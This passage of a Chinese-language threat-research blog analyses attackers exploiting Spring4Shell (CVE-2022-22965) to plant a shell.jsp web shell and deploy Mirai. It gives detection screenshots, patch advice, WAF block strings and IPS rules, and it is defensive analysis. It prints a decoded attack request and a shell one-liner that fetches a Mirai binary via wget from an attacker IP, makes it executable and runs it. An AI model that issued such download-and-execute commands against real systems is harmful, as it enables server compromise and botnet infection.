\u53ef\u8b93\u99ed\u5ba2\u9054\u6210\u4ee5\u4e0b\u76ee\u7684\uff1a<\/p>\n\n\n\n<ul><li><strong>\u5efa\u7acb\u4e00\u689d\u7a81\u7834\u88dd\u7f6e\u9632\u7dda\u7684\u8def\u5f91\uff0c\u63a5\u4e0b\u4f86\u5c31\u80fd\u5b89\u88dd\u60e1\u610f\u7a0b\u5f0f\u6216\u9054\u6210\u5176\u4ed6\u76ee\u7684\u3002<\/strong><\/li><li><strong>\u63d0\u4f9b\u4e00\u500b\u7ba1\u9053\u4f86\u6563\u64ad\u8cc7\u6599\u7aca\u53d6\u7a0b\u5f0f\u4e26\u5c07\u8cc7\u6599\u5916\u50b3\uff0c\u6216\u8005\u8b93\u99ed\u5ba2\u57f7\u884c\u4e00\u4e9b\u6307\u4ee4\u4f86\u5b89\u88dd\u8cc7\u6599\u7aca\u53d6\u7a0b\u5f0f\u3002<\/strong><\/li><li><strong>\u767c\u52d5\u963b\u65b7\u670d\u52d9\u653b\u64ca\uff0c\u8b93\u7cfb\u7d71\u6216\u7cfb\u7d71\u4e0a\u7684\u5176\u4ed6\u61c9\u7528\u7a0b\u5f0f\u7121\u6cd5\u904b\u4f5c\u3002<\/strong><\/li><li><strong>\u5728\u53d7\u5bb3\u88dd\u7f6e\u4e0a\u690d\u5165\u4e26\u57f7\u884c\u6316\u7926\u7a0b\u5f0f\u3002<\/strong><\/li><li><strong>\u690d\u5165\u52d2\u7d22\u75c5\u6bd2\uff0c\u5c07\u6a94\u6848\u52a0\u5bc6\u6216\u5c07\u7cfb\u7d71\u9396\u4f4f\uff0c\u4ee5\u4fbf\u5411\u53d7\u5bb3\u8005\u52d2\u7d22\u8d16\u91d1\u3002<\/strong><\/li><\/ul>\n\n\n\n<div style=\"height:100px\" aria-hidden=\"true\" class=\"wp-block-spacer\"><\/div>\n\n\n\n<h3 class=\"wp-block-heading\"><br><strong>\u6700\u65e9\u767c\u73fe\u7684\u653b\u64ca\u6848\u4f8b<\/strong><\/h3>\n\n\n\n<p><br>\u6211\u5011\u7684\u8a98\u6355\u7db2\u8def\u6700\u65e9\u5728 2022 \u5e74 3 \u6708 31 \u65e5\u7d93\u7531 C1WS \u7684 IPS \u898f\u5247 1006015 \u5075\u6e2c\u4e26\u8a18\u9304\u5230\u99ed\u5ba2 HTTP \u8acb\u6c42\u4e2d\u7684\u300cclass.classLoader\u300d\u3002<\/p>\n\n\n\n<p>IPS rule: 1006015 \u2013 Restrict Apache Struts \u201cclass.classLoader\u201d Request<\/p>\n\n\n\n<div style=\"height:100px\" aria-hidden=\"true\" class=\"wp-block-spacer\"><\/div>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" src=\"https:\/\/marvel-b1-cdn.bc0a.com\/f00000000017219\/www.trendmicro.com\/content\/dam\/trendmicro\/global\/en\/research\/22\/d\/spring4shell\/spring4shell-06.jpg\" alt=\"C1WS IPS trigger\"\/><figcaption>\u5716 6\uff1aC1WS IPS \u898f\u5247\u89f8\u767c\u4e8b\u4ef6<\/figcaption><\/figure>\n\n\n\n<p><br>\u3002<\/p>\n\n\n\n<div style=\"height:100px\" aria-hidden=\"true\" class=\"wp-block-spacer\"><\/div>\n\n\n\n<p>\u6b64\u5916\uff0c\u6211\u5011\u524d\u4e00\u9663\u5b50\u91dd\u5c0d\u8a72\u6f0f\u6d1e\u6240\u91cb\u51fa\u7684 IPS \u898f\u5247\u4e5f\u51fa\u73fe\u4e86\u89f8\u767c\u4e8b\u4ef6\uff1a<\/p>\n\n\n\n<p>IPS rule: 1011372 &#8211; Spring Framework &#8220;Spring4Shell&#8221; Remote Code Execution Vulnerability (CVE-2022-22965)<\/p>\n\n\n\n<div style=\"height:100px\" aria-hidden=\"true\" class=\"wp-block-spacer\"><\/div>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" src=\"https:\/\/marvel-b1-cdn.bc0a.com\/f00000000017219\/www.trendmicro.com\/content\/dam\/trendmicro\/global\/en\/research\/22\/d\/spring4shell\/spring4shell-07.png\" alt=\"C1WS IPS trigger\"\/><figcaption>\u5716 7\uff1aC1WS IPS \u898f\u5247\u89f8\u767c\u4e8b\u4ef6\u3002<\/figcaption><\/figure>\n\n\n\n<p><br><\/p>\n\n\n\n<div style=\"height:100px\" aria-hidden=\"true\" class=\"wp-block-spacer\"><\/div>\n\n\n\n<p>\u6b64\u6b21\u662f\u5728\u99ed\u5ba2\u8a66\u5716\u767c\u9001\u60e1\u610f\u5167\u5bb9\u4f86\u653b\u64ca\u6b64\u6f0f\u6d1e\u6642\u6240\u89f8\u767c\u3002<\/p>\n\n\n\n<div style=\"height:100px\" aria-hidden=\"true\" class=\"wp-block-spacer\"><\/div>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" src=\"https:\/\/marvel-b1-cdn.bc0a.com\/f00000000017219\/www.trendmicro.com\/content\/dam\/trendmicro\/global\/en\/research\/22\/d\/spring4shell\/spring4shell-08.png\" alt=\"C1WS Log Inspection trigger on unsuccessful exploitation\"\/><figcaption>\u5716 8\uff1a\u6f0f\u6d1e\u653b\u64ca\u5931\u6557\u7684 C1WS \u8a18\u9304\u6a94\u6aa2\u67e5\u89f8\u767c\u4e8b\u4ef6\u3002<\/figcaption><\/figure>\n\n\n\n<p><br><\/p>\n\n\n\n<div style=\"height:100px\" aria-hidden=\"true\" class=\"wp-block-spacer\"><\/div>\n\n\n\n<p>\u7576\u6709\u99ed\u5ba2\u8a66\u5716\u653b\u64ca\u6f0f\u6d1e\u5931\u6557\u6642\uff0c\u5c31\u6703\u770b\u5230\u9019\u500b\u8a18\u9304\u6a94\u6aa2\u67e5\u89f8\u767c\u4e8b\u4ef6\u3002\u56e0\u70ba\u5b83\u8a66\u5716\u8981\u7522\u751f\u7684\u8a18\u9304\u6a94\u662f\u4e00\u500b web shell (shell.jsp) \u6a94\u6848\uff0c\u9019\u9055\u53cd\u4e86 Tomcat ROOT \u76ee\u9304\u7684\u6b0a\u9650\u8a2d\u5b9a\u3002\u50cf\u9019\u6a23\u7684\u4e8b\u4ef6\u5c31\u662f\u4e00\u7a2e\u6307\u6a19\uff0c\u53ef\u5e6b\u52a9\u5a01\u8105\u5206\u6790\u5e2b\u767c\u73fe\u4f01\u696d\u53ef\u80fd\u906d\u5230\u99ed\u5ba2\u653b\u64ca\u7684\u72c0\u6cc1\u3002<\/p>\n\n\n\n<div style=\"height:100px\" aria-hidden=\"true\" class=\"wp-block-spacer\"><\/div>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" src=\"https:\/\/marvel-b1-cdn.bc0a.com\/f00000000017219\/www.trendmicro.com\/content\/dam\/trendmicro\/global\/en\/research\/22\/d\/spring4shell\/spring4shell-09.png\" alt=\"C1WS Log Inspection trigger on unsuccessful exploitation\"\/><figcaption>\u5716 9\uff1a\u6f0f\u6d1e\u653b\u64ca\u5931\u6557\u7684 C1WS \u8a18\u9304\u6a94\u6aa2\u67e5\u89f8\u767c\u4e8b\u4ef6\u3002<\/figcaption><\/figure>\n\n\n\n<p><br><\/p>\n\n\n\n<div style=\"height:100px\" aria-hidden=\"true\" class=\"wp-block-spacer\"><\/div>\n\n\n\n<p>\u5982\u540c\u5716 8 \u6240\u793a\uff0c\u9019\u500b\u8a18\u9304\u6a94\u6aa2\u67e5\u89f8\u767c\u4e8b\u4ef6\u662f\u56e0\u70ba\u6709\u6f0f\u6d1e\u653b\u64ca\u5931\u6557\u800c\u9020\u6210\uff0c\u800c\u7531\u65bc\u300cshell.jsp\u300d\u6a94\u6848\u4e26\u672a\u6210\u529f\u7522\u751f\uff0c\u56e0\u6b64\u6a94\u6848\u5c31\u4e0d\u5b58\u5728\uff0c\u6240\u4ee5\u8a18\u9304\u6a94\u5167\u624d\u6703\u51fa\u73fe\u300cjava.io.FileNotFoundException\u300d\u4f8b\u5916\u72c0\u6cc1\u7684\u8a18\u9304\u3002<\/p>\n\n\n\n<div style=\"height:100px\" aria-hidden=\"true\" class=\"wp-block-spacer\"><\/div>\n\n\n\n<h3 class=\"wp-block-heading\"><strong>\u99ed\u5ba2\u6b63\u7a4d\u6975\u653b\u64ca\u6b64\u6f0f\u6d1e<\/strong><br><\/h3>\n\n\n\n<p>\u6211\u5011\u767c\u73fe\u6709\u99ed\u5ba2\u6b63\u7a4d\u6975\u5229\u7528 Spring4Shell \u6f0f\u6d1e\u5728\u53d7\u5bb3\u7684\u4f3a\u670d\u5668\u4e0a\u57f7\u884c Mirai \u6bad\u5c4d\u7db2\u8def\u60e1\u610f\u7a0b\u5f0f\uff0c\u5c24\u5176\u662f\u65b0\u52a0\u5761\u5883\u5167\u3002<\/p>\n\n\n\n<p>\u5176 Mirai \u60e1\u610f\u7a0b\u5f0f\u662f\u4e0b\u8f09\u5230\u300c\/tmp\u300d\u8cc7\u6599\u593e\uff0c\u7136\u5f8c\u5229\u7528\u300cchmod\u300d\u6307\u4ee4\u4f86\u8b8a\u66f4\u6a94\u6848\u6b0a\u9650\uff0c\u8b93\u5b83\u8b8a\u6210\u53ef\u57f7\u884c\u6a94\u3002\u99ed\u5ba2\u767c\u52d5\u653b\u64ca\u7684\u8acb\u6c42\u5167\u5bb9\u8207\u6307\u4ee4\u89e3\u78bc\u4e4b\u5f8c\u5982\u4e0b\uff1a<\/p>\n\n\n\n<ul><li><strong>http:\/\/{victim IP}:9090\/tomcatwar[.]jsp?pwd=j&amp;cmd=cd%20\/tmp;%20wget%20http:\/\/45[.]95[.]169[.]143\/The420smokeplace[.]dns\/KKveTTgaAAsecNN<\/strong><br><strong>aaaa.x86;chmod%20777%20*;.\/KKveTTgaAAsecNNaaaa.x86%20mSpring[.]x86<\/strong><\/li><li><strong>cd \/tmp; wget http:\/\/45[.]95[.]169[.]143\/The420smokeplace.dns\/KKveTTgaAAsecNNaaaa.x86;chmod 777 *;.\/KKveTTgaAAsecNNaaaa.x86 mSpring[.]x86<\/strong><\/li><li><strong>http:\/\/4<\/strong><strong>5[.]95[.]169[.]143\/The420smokeplace[.]dns\/KKveTTgaAAsecNNaaaa.x86<\/strong><\/li><\/ul>\n\n\n\n<p>\u6211\u5011\u5728 2022 \u5e74 4 \u6708\u521d\u6642\u767c\u73fe\u5176\u6a23\u672c\u3002\u540c\u6642\uff0c\u6211\u5011\u4e5f\u767c\u73fe\u60e1\u610f\u7a0b\u5f0f\u7684\u6a94\u6848\u4f3a\u670d\u5668\u4e0a\u9084\u6709\u91dd\u5c0d\u5176\u4ed6 CPU \u67b6\u69cb\u7684\u8b8a\u7a2e\u3002<\/p>\n\n\n\n<div style=\"height:100px\" aria-hidden=\"true\" class=\"wp-block-spacer\"><\/div>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" src=\"https:\/\/marvel-b1-cdn.bc0a.com\/f00000000017219\/www.trendmicro.com\/content\/dam\/trendmicro\/global\/en\/research\/22\/d\/spring4shell\/spring4shell-10.png\" alt=\"Mirai malware samples for different CPU architectures\"\/><figcaption>\u5716 10\uff1a\u91dd\u5c0d\u4e0d\u540c CPU \u67b6\u69cb\u7684 Mirai \u60e1\u610f\u7a0b\u5f0f\u8b8a\u7a2e\u3002<\/figcaption><\/figure>\n\n\n\n<p><br><\/p>\n\n\n\n<div style=\"height:100px\" aria-hidden=\"true\" class=\"wp-block-spacer\"><\/div>\n\n\n\n<p><br><\/p>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" src=\"https:\/\/marvel-b1-cdn.bc0a.com\/f00000000017219\/www.trendmicro.com\/content\/dam\/trendmicro\/global\/en\/research\/22\/d\/spring4shell\/spring4shell-11.png\" alt=\"Content of \u201cwget.sh\u201d as retrieved from a malicious server\"\/><figcaption>\u5716 11\uff1a\u5f9e\u67d0\u500b\u60e1\u610f\u4f3a\u670d\u5668\u53d6\u5f97\u7684\u300cwget.sh\u300d\u8173\u672c\u5167\u5bb9\u3002<\/figcaption><\/figure>\n\n\n\n<p><\/p>\n\n\n\n<div style=\"height:100px\" aria-hidden=\"true\" class=\"wp-block-spacer\"><\/div>\n\n\n\n<p>\u300cwget.sh\u300d\u8173\u672c\u6703\u5f9e\u60e1\u610f\u4f3a\u670d\u5668\u4e0b\u8f09\u57f7\u884c\u6a94\u4e26\u57f7\u884c\u6240\u6709\u7248\u672c\u7684\u8b8a\u7a2e\uff0c\u76f8\u5bb9\u7684\u5c31\u6703\u6b63\u5e38\u57f7\u884c\uff0c\u4e0d\u76f8\u5bb9\u7684\u5c31\u4e0d\u6703\u57f7\u884c\uff0c\u6a94\u6848\u57f7\u884c\u4e4b\u5f8c\u5c31\u6703\u5f9e\u78c1\u789f\u522a\u9664\u3002<\/p>\n\n\n\n<div style=\"height:100px\" aria-hidden=\"true\" class=\"wp-block-spacer\"><\/div>\n\n\n\n<p><strong>Trend Micro Vision One<\/strong>&#x2122;<\/p>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" src=\"https:\/\/marvel-b1-cdn.bc0a.com\/f00000000017219\/www.trendmicro.com\/content\/dam\/trendmicro\/global\/en\/research\/22\/d\/spring4shell\/spring4shellnew12.png\" alt=\"Trend Micro Vision One&#x2122; (Observed Attack Techniques) OATs triggers \"\/><figcaption>\u5716 12\uff1aTrend Micro Vision One&#x2122; OAT (\u89c0\u5bdf\u5230\u7684\u653b\u64ca\u6280\u5de7) \u89f8\u767c\u4e8b\u4ef6\u3002<\/figcaption><\/figure>\n\n\n\n<p><\/p>\n\n\n\n<div style=\"height:100px\" aria-hidden=\"true\" class=\"wp-block-spacer\"><\/div>\n\n\n\n<p>\u6b64\u8655\uff0c\u6211\u5011\u53ef\u5f9e\u5a01\u8105\u8ffd\u8e64\u756b\u9762\u770b\u5230\u4f86\u81ea\u8da8\u52e2\u79d1\u6280\u4e0d\u540c\u6a21\u7d44\u8207\u7522\u54c1\u7684\u89f8\u767c\u4e8b\u4ef6\uff0c\u9019\u88e1\u53ef\u4ee5\u6aa2\u8996\u6bcf\u500b\u91cd\u8981\u4e8b\u4ef6\u7684\u56b4\u91cd\u6027\uff0c\u7136\u5f8c\u5230 Vision One Workbench \u7576\u4e2d\u9032\u4e00\u6b65\u67e5\u770b\u89f8\u767c\u4e8b\u4ef6\u3002<\/p>\n\n\n\n<div style=\"height:100px\" aria-hidden=\"true\" class=\"wp-block-spacer\"><\/div>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" src=\"https:\/\/marvel-b1-cdn.bc0a.com\/f00000000017219\/www.trendmicro.com\/content\/dam\/trendmicro\/global\/en\/research\/22\/d\/spring4shell\/spring4shell-13.png\" alt=\"Trend Micro Vision One&#x2122; Network Security Workbench trigger \"\/><figcaption>\u5716 13\uff1aTrend Micro Vision One&#x2122; Network Security Workbench \u89f8\u767c\u4e8b\u4ef6<\/figcaption><\/figure>\n\n\n\n<p><br><\/p>\n\n\n\n<div style=\"height:100px\" aria-hidden=\"true\" class=\"wp-block-spacer\"><\/div>\n\n\n\n<p>\u9019\u500b Workbench \u756b\u9762\u662f\u7531 Trend Micro Cloud One&#x2122; \u2013 Network Security \u7522\u751f\uff0c\u756b\u9762\u4e0a\u53ef\u770b\u5230 Network Security \u5982\u4f55\u5e6b\u4f01\u696d\u5075\u6e2c\u53ca\u9632\u7bc4\u99ed\u5ba2\u8a66\u5716\u653b\u64ca\u6f0f\u6d1e\uff0c\u9032\u800c\u4fdd\u8b77\u4f01\u696d\u865b\u64ec\u79c1\u6709\u96f2 (VPC) \u4e0a\u90e8\u7f72\u7684\u96f2\u7aef\u5de5\u4f5c\u8ca0\u8f09\u3002\u6b64\u8655\u6211\u5011\u53ef\u4ee5\u770b\u5230 IP \u4f4d\u5740\u300c10.10.10.176\u300d\u7684\u7aef\u9ede\u88dd\u7f6e\u5982\u4f55\u53d7\u5230\u5165\u4fb5\u9632\u8b77\u898f\u5247\u300cSpring Core Code Execution Vulnerability\u300d\u7684\u4fdd\u8b77\u3002<\/p>\n\n\n\n<div style=\"height:100px\" aria-hidden=\"true\" class=\"wp-block-spacer\"><\/div>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" src=\"https:\/\/marvel-b1-cdn.bc0a.com\/f00000000017219\/www.trendmicro.com\/content\/dam\/trendmicro\/global\/en\/research\/22\/d\/spring4shell\/spring4shellnew14.png\" alt=\"Trend Micro Vision One Workbench trigger for Spring Cloud or core vulnerability exploitation\"\/><figcaption>\u5716 14\uff1aTrend Micro Vision One Workbench \u4e0a\u7684\u300cSpring Cloud Or Core Vulnerability Exploitation\u300d\u898f\u5247\u89f8\u767c\u4e8b\u4ef6\u3002<\/figcaption><\/figure>\n\n\n\n<p><br><\/p>\n\n\n\n<div style=\"height:100px\" aria-hidden=\"true\" class=\"wp-block-spacer\"><\/div>\n\n\n\n<p>\u9019\u500b Workbench \u756b\u9762\u7528\u5f88\u7c21\u6613\u7684\u65b9\u5f0f\u4f86\u986f\u793a\u99ed\u5ba2\u8907\u96dc\u7684\u653b\u64ca\u6a21\u5f0f\u3002\u6b64\u8655\u6211\u5011\u53ef\u770b\u5230\u4f86\u81ea Network Security \u7684 IPS \u898f\u5247\u89f8\u767c\u4e8b\u4ef6\uff0cNetwork Security \u9632\u6b62\u4e86\u67d0\u500b VPC \u4e0a\u542b\u6709\u6f0f\u6d1e\u7684 EC2 \u57f7\u884c\u500b\u9ad4\u53d7\u5230\u653b\u64ca\u3002\u5f9e\u9019\u500b Workbench \u6211\u5011\u53ef\u4ee5\u770b\u5230 Trend Micro Cloud One&#x2122; \u2013 Workload Security \u548c Network Security \u6703\u5171\u540c\u904b\u4f5c\u3002<\/p>\n\n\n\n<p>\u6211\u5011\u4e5f\u6536\u5230\u4f86\u81ea Network Security \u7684 IPS \u89f8\u767c\u4e8b\u4ef6\uff0c\u5f9e\u4e00\u958b\u59cb\u5c31\u5075\u6e2c\u5230\u6709\u99ed\u5ba2\u8a66\u5716\u653b\u64ca\u6f0f\u6d1e\u3002\u63a5\u8457\uff0c\u6211\u5011\u6703\u770b\u5230 Workload Security \u7684 IPS \u898f\u5247\u300cIdentified Suspicious Command Injection\u300d\u7522\u751f\u7684\u89f8\u767c\u4e8b\u4ef6\u3002\u96a8\u5f8c\uff0c\u6211\u5011\u770b\u5230\u99ed\u5ba2\u57f7\u884c\u5176\u4ed6\u6307\u4ee4\uff0c\u6191\u8457\u9019\u4e00\u9ede\uff0c\u5a01\u8105\u5206\u6790\u5e2b\u5c31\u80fd\u65b7\u5b9a\u6f0f\u6d1e\u5df2\u7d93\u653b\u64ca\u6210\u529f\uff0c\u56e0\u70ba\u99ed\u5ba2\u63a5\u8457\u4fbf\u57f7\u884c\u300ccurl\u300d\u6216\u300cwget\u300d\u4f86\u4e0b\u8f09\u60e1\u610f\u7a0b\u5f0f\uff0c\u4e26\u4e14\u5229\u7528\u300cchmod\u300d\u8b8a\u66f4\u5176\u6b0a\u9650\u4e4b\u5f8c\u52a0\u4ee5\u57f7\u884c\u3002<\/p>\n\n\n\n<p>\u6b64\u5916\uff0c\u885d\u64ca\u7bc4\u570d\u8cc7\u8a0a (impact scope) \u6709\u52a9\u65bc\u8a55\u4f30\u5176\u4ed6\u51fa\u73fe\u985e\u4f3c\u6f0f\u6d1e\u653b\u64ca\u6307\u6a19\u7684\u5de5\u4f5c\u8ca0\u8f09\uff0c\u9019\u4e9b\u6307\u6a19\u5305\u62ec\uff1a\u8655\u7406\u7a0b\u5e8f\u3001\u6a94\u6848\u3001\u7db2\u8def\u6d3b\u52d5\u3001\u57f7\u884c\u7684\u6307\u4ee4\u7b49\u7b49\u3002\u9019\u500b\u96c6\u4e2d\u6aa2\u8996\u5c55\u73fe\u4e86\u5c07\u5404\u7a2e\u4e0d\u540c\u7522\u54c1\u7684\u5075\u6e2c\u8cc7\u8a0a\u6574\u5408\u81f3\u55ae\u4e00\u756b\u9762\u7684\u5f37\u5927\u4e4b\u8655\u3002<\/p>\n\n\n\n<div style=\"height:100px\" aria-hidden=\"true\" class=\"wp-block-spacer\"><\/div>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" src=\"https:\/\/marvel-b1-cdn.bc0a.com\/f00000000017219\/www.trendmicro.com\/content\/dam\/trendmicro\/global\/en\/research\/22\/d\/spring4shell\/spring4shellnew15.png\" alt=\"Trend Micro Vision One Workbench trigger for RCE or malware dropped by exploiting critical server vulnerability\"\/><figcaption>\u5716 15\uff1aTrend Micro Vision One Workbench \u89f8\u767c\u4e8b\u4ef6\uff1a\u7d93\u7531\u653b\u64ca\u91cd\u5927\u4f3a\u670d\u5668\u6f0f\u6d1e\u800c\u767c\u52d5 RCE \u653b\u64ca\u6216\u690d\u5165\u60e1\u610f\u7a0b\u5f0f\u3002<\/figcaption><\/figure>\n\n\n\n<p><br><\/p>\n\n\n\n<div style=\"height:100px\" aria-hidden=\"true\" class=\"wp-block-spacer\"><\/div>\n\n\n\n<p>\u9019\u500b Workbench \u756b\u9762\u53ef\u7528\u4f86\u67e5\u770b\u4f86\u81ea Workload Security \u7684 IPS \u89f8\u767c\u4e8b\u4ef6\uff0c\u63a5\u8457\u6703\u770b\u5230\u6307\u4ee4\u6ce8\u5165 (Command Injection) \u7db2\u8def\u6d41\u91cf\uff0c\u7136\u5f8c\u662f Spring Core RCE IPS \u898f\u5247\u89f8\u767c\u4e8b\u4ef6\u3002\u5716\u4e2d\u7684\u7bad\u982d\u7528\u4f86\u986f\u793a IP \u4f4d\u5740\u8207\u7aef\u9ede\u4e4b\u9593\u7684\u4ea4\u4e92\u95dc\u4fc2\u3002<\/p>\n\n\n\n<div style=\"height:100px\" aria-hidden=\"true\" class=\"wp-block-spacer\"><\/div>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" src=\"https:\/\/marvel-b1-cdn.bc0a.com\/f00000000017219\/www.trendmicro.com\/content\/dam\/trendmicro\/global\/en\/research\/22\/d\/spring4shell\/spring4shellnew16.png\" alt=\"Trend Micro Vision One Workbench trigger for observed vulnerability exploitation and outbound connection to cryptocurrency mining pool\"\/><figcaption>\u5716 16\uff1aTrend Micro Vision One Workbench \u89f8\u767c\u4e8b\u4ef6\uff1a\u767c\u73fe\u6f0f\u6d1e\u653b\u64ca\u8207\u5c0d\u5916\u9023\u7dda\u5230\u865b\u64ec\u52a0\u5bc6\u8ca8\u5e63\u6316\u7926\u6c60\u3002<\/figcaption><\/figure>\n\n\n\n<p><br><\/p>\n\n\n\n<div style=\"height:100px\" aria-hidden=\"true\" class=\"wp-block-spacer\"><\/div>\n\n\n\n<p>\u9019\u500b Workbench \u89f8\u767c\u4e8b\u4ef6\u756b\u9762\u53ef\u4ee5\u770b\u5230 Workload Security \u4e0d\u540c\u6a21\u7d44\u7684\u904b\u4f5c\uff0c\u6b64\u5916\u4e5f\u53ef\u770b\u5230\u7b2c\u4e00\u500b IPS \u89f8\u767c\u4e8b\u4ef6\u3002\u7dca\u63a5\u8457\uff0c\u6211\u5011\u770b\u5230\u6709\u4e00\u500b\u5c0d\u5916\u9023\u7dda\u81f3\u67d0\u77e5\u540d\u7684\u865b\u64ec\u52a0\u5bc6\u8ca8\u5e63\u6316\u7926\u6c60\u3002\u9019\u500b\u4e8b\u4ef6\u662f\u4f86\u81ea Activity Monitoring (\u6d3b\u52d5\u76e3\u63a7) \u6a21\u7d44\uff0c\u9019\u6a21\u7d44\u5c08\u9580\u8ca0\u8cac\u8a18\u9304\u6a94\u6848\u3001\u7db2\u8def\u8207\u8655\u7406\u7a0b\u5e8f\u7684\u6d3b\u52d5\u3002<\/p>\n\n\n\n<p>Vision One Workbench \u53ef\u5354\u52a9\u5206\u6790\u5e2b\u6ffe\u6389\u74b0\u5883\u4e2d\u7684\u96dc\u8a0a\u3002\u5728\u8da8\u52e2\u79d1\u6280\u5a01\u8105\u5c08\u5bb6\u7684\u5354\u52a9\u4e0b\uff0c\u518d\u52a0\u4e0a\u4ed6\u5011\u7d30\u5fc3\u5efa\u7acb\u7684\u898f\u5247\uff0c\u4f01\u696d\u5c31\u80fd\u9632\u7bc4\u5404\u5f0f\u5404\u6a23\u7684\u7db2\u8def\u653b\u64ca\u3002<\/p>\n\n\n\n<div style=\"height:100px\" aria-hidden=\"true\" class=\"wp-block-spacer\"><\/div>\n\n\n\n<h3 class=\"wp-block-heading\"><strong>\u53ef\u7528\u7684\u4fee\u88dc\u66f4\u65b0\u8207\u9632\u7bc4\u65b9\u6cd5<\/strong><br><\/h3>\n\n\n\n<p>Spring \u76ee\u524d\u5df2\u91dd\u5c0d\u6b64\u6f0f\u6d1e\u91cb\u51fa\u4e86\u4fee\u88dc\u66f4\u65b0\uff0c\u5b8c\u6574\u5167\u5bb9\u8acb\u53c3\u95b1&nbsp;<a href=\"https:\/\/spring.io\/blog\/2022\/03\/31\/spring-framework-rce-early-announcement\">\u6b64\u8655<\/a>\u3002<\/p>\n\n\n\n<p>\u6211\u5011\u547c\u7c72\u4f01\u696d\u76e1\u901f\u63a1\u53d6\u4ee5\u4e0b\u63aa\u65bd\uff1a<\/p>\n\n\n\n<ul><li><strong>\u5c07 Spring Framework \u5347\u7d1a\u81f3 5.3.18+ \u6216 5.2.20+ \u7248\u672c\u3002<\/strong><\/li><li><strong>\u5c07 Sp<\/strong><strong>ring Boot \u5347\u7d1a\u81f3 2.6.6+ \u6216 2.5.12+ \u7248\u672c\u3002<\/strong><\/li><\/ul>\n\n\n\n<p>\u4f46\u5728\u5347\u7d1a\u524d\u7684\u9019\u6bb5\u671f\u9593\uff0c\u4f01\u696d\u53ef\u5148\u63a1\u53d6\u4ee5\u4e0b\u65b9\u6cd5\u4f86\u964d\u4f4e\u6b64\u6f0f\u6d1e\u7684\u76f8\u95dc\u98a8\u96aa\uff1a<\/p>\n\n\n\n<ul><li><strong>\u5728\u7db2\u7ad9\u61c9\u7528\u7a0b\u5f0f\u9632\u706b\u7246\u4e0a\u5efa\u7acb\u4e00\u500b\u6514\u622a\u6e05\u55ae\u4f86\u6514\u622a\u542b\u6709\u4ee5\u4e0b\u5167\u5bb9\u7684\u5b57\u4e32\uff1a\u300cclass.*\u300d\u3001\u300cClass.*\u300d\u3001\u300c*.class.*\u300d\u3001\u300c*.Class.*\u300d\u3002<\/strong><\/li><li><strong>\u964d\u7d1a\u81f3\u8f03\u4f4e\u7684 JDK \u7248\u672c (\u5982\u7b2c 8 \u7248) \u4e5f\u8a31\u6703\u6709\u9ede\u5e6b\u52a9\uff0c\u4f46\u9019\u53ef\u80fd\u5f71\u97ff\u5230\u61c9\u7528\u7a0b\u5f0f\u7684\u529f\u80fd\uff0c\u800c\u4e14\u9084\u5f97\u9762\u5c0d\u4e00\u4e9b\u820a\u7248\u672c\u539f\u672c\u5b58\u5728\u4f46\u65b0\u7248\u5df2\u7d93\u4fee\u6b63\u7684\u6f0f\u6d1e\u3002<\/strong><\/li><\/ul>\n\n\n\n<div style=\"height:100px\" aria-hidden=\"true\" class=\"wp-block-spacer\"><\/div>\n\n\n\n<h3 class=\"wp-block-heading\"><strong>\u8da8\u52e2\u79d1\u6280\u7684\u9632\u8b77\u8207\u8abf\u67e5\u529f\u80fd<\/strong><\/h3>\n\n\n\n<p><br>\u8da8\u52e2\u79d1\u6280\u5df2\u91dd\u5c0d\u65d7\u4e0b\u7522\u54c1\u91cb\u51fa\u4e86\u5404\u7a2e\u898f\u5247\u4f86\u5075\u6e2c\u53ca\u9632\u7bc4\u9019\u9805\u6f0f\u6d1e\u3002\u9019\u4e9b\u90fd\u80fd\u63d0\u4f9b\u984d\u5916\u7684\u9632\u8b77\u4f86\u5075\u6e2c\u6b64\u5a01\u8105\u76f8\u95dc\u7684\u60e1\u610f\u5143\u4ef6\u3002<\/p>\n\n\n\n<p><strong>Workload Security \u548c Deep Security IPS \u898f\u5247<\/strong><\/p>\n\n\n\n<ul><li><strong>Rule 1011372&nbsp;&#8211; Spring Framework &#8220;Spring4Shell&#8221; Remote Code Execution Vulnerability (CVE-2022-22965)<\/strong><strong><\/strong><\/li><\/ul>\n\n\n\n<p><strong>Network Security \u548c TippingPoint \u904e\u6ffe\u898f\u5247<\/strong><\/p>\n\n\n\n<ul><li><strong>Filter 41108: HTTP: Spring Core Code Execution Vulnerability<\/strong><strong><\/strong><\/li><\/ul>\n\n\n\n<p><strong>\u8da8\u52e2\u79d1\u6280 Deep Discovery<\/strong>&#x2122; <strong>Inspector \u7db2\u8def\u5167\u5bb9\u6aa2\u67e5\u898f\u5247<\/strong><\/p>\n\n\n\n<ul><li><strong>Rule 3320: HTTP_SPRING4SHELL_RCE_EXPLOIT_REQUEST_BETA<\/strong><\/li><li><strong>Rule 3321: HTTP_POSSIBLE_JAVA_CLASSLOADER_RCE_EXPLOIT_REQUEST_BETA<\/strong><\/li><\/ul>\n\n\n\n<div style=\"height:100px\" aria-hidden=\"true\" class=\"wp-block-spacer\"><\/div>\n\n\n\n<h3 class=\"wp-block-heading\"><strong>\u5165\u4fb5\u6307\u6a19 (IoC)<\/strong><\/h3>\n\n\n\n<p>\u5b8c\u6574\u7684\u5165\u4fb5\u6307\u6a19 (IoC) \u6e05\u55ae\u8acb\u53c3\u8003<a href=\"https:\/\/www.trendmicro.com\/content\/dam\/trendmicro\/global\/en\/research\/22\/d\/spring4shell\/IOCs-Spring4Shell.txt\">\u9019\u4efd\u6587\u5b57\u6a94<\/a>\u3002<\/p>\n\n\n\n<div style=\"height:100px\" aria-hidden=\"true\" class=\"wp-block-spacer\"><\/div>\n\n\n\n<p>&#x25fc;\u539f\u6587\u51fa\u8655\uff1a<a href=\"https:\/\/www.trendmicro.com\/en_us\/research\/22\/d\/cve-2022-22965-analyzing-the-exploitation-of-spring4shell-vulner.html\">CVE-2022-22965: Analyzing the Exploitation of Spring4Shell Vulnerability in Weaponizing and Executing the 